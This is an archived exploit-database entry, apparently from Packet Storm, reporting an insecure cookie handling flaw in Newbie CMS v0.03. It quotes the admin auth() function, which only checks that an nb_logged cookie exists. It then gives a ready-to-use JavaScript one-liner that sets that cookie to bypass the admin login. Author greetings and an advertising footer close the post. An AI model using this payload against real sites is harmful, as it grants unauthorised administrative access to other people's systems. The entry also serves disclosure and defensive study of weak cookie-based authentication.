Newbie CMS Insecure Cookie Handling

2010-02-25T00:00:00
ID PACKETSTORM:86671
Type packetstorm
Reporter jiko
Modified 2010-02-25T00:00:00

Description

                                        
                                            `  
  
----------[exploit Debut]  
[ Insecure Cookie Handling Vulnerability]  
----------[Script Info]  
  
Moi : JIKO  
Site : No-exploit.Com  
Email : mm :( Moghla9 Ferme Closed  
  
----------[Script Info]  
  
Site : http://newbie-cms.com  
Download : http://newbie-cms.com/free_download.php?file=newbiev003.zip  
  
----------[exploit Info]  
  
>>|~[Info]  
code :( : admin/config.php  
function auth()  
{  
if (!isset($_COOKIE["nb_logged"]))  
{  
header("location:login.php");  
exit();  
}  
}  
exploit :  
javascript:document.cookie="nb_logged=jiko;path=/newbb/admin/";  
  
Merci :Allah  
amis :HxH, Cyb3r-DeViL, The Sadhacker, kasper, SkuLL-HacKeR , ZaIdOoHxHaCkEr ,ViRuSMaN Member No-exploit.Com,all friends  
  
----------[exploit Fin]  
  
  
________________________________  
Avec Internet Explorer, surfez en toute discrétion sur internet Cliquez ici !<http://clk.atdmt.com/FRM/go/182932252/direct/01/>  
  
  
  
`